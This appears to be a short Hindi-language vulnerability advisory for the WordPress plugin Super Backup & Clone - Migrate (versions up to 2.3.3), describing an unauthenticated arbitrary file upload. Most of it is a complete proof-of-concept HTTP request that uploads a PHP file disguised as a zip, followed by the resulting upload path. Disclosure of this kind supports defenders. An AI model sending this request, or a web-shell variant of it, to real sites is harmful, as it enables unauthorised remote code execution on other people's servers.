
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
Super Backup & Clone - Migrate for WordPress प्लगिन (वर्डप्रेस के लिए) 2.3.3 तक के सभी संस्करणों में, ibk_restore_migrate_check() फ़ंक्शन में फ़ाइल प्रकार सत्यापन और क्षमता जाँच की कमी के कारण, मनमाना फ़ाइल अपलोड की भेद्यता से ग्रस्त है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए प्रभावित साइट के सर्वर पर मनमानी फ़ाइलें अपलोड करना संभव बनाता है, जिससे रिमोट कोड निष्पादन संभव हो सकता है।
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------12986918151631900204175958232
Content-Length: 793
Origin: https://wp-dev.ddev.site
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_type"
restore_file
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_url"
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/zip
<?php phpinfo(); ?>
-----------------------------12986918151631900204175958232--
अपलोड यहाँ किए जाते हैं: https://wp-dev.ddev.site/wp-content/uploads/isnapshots/info.php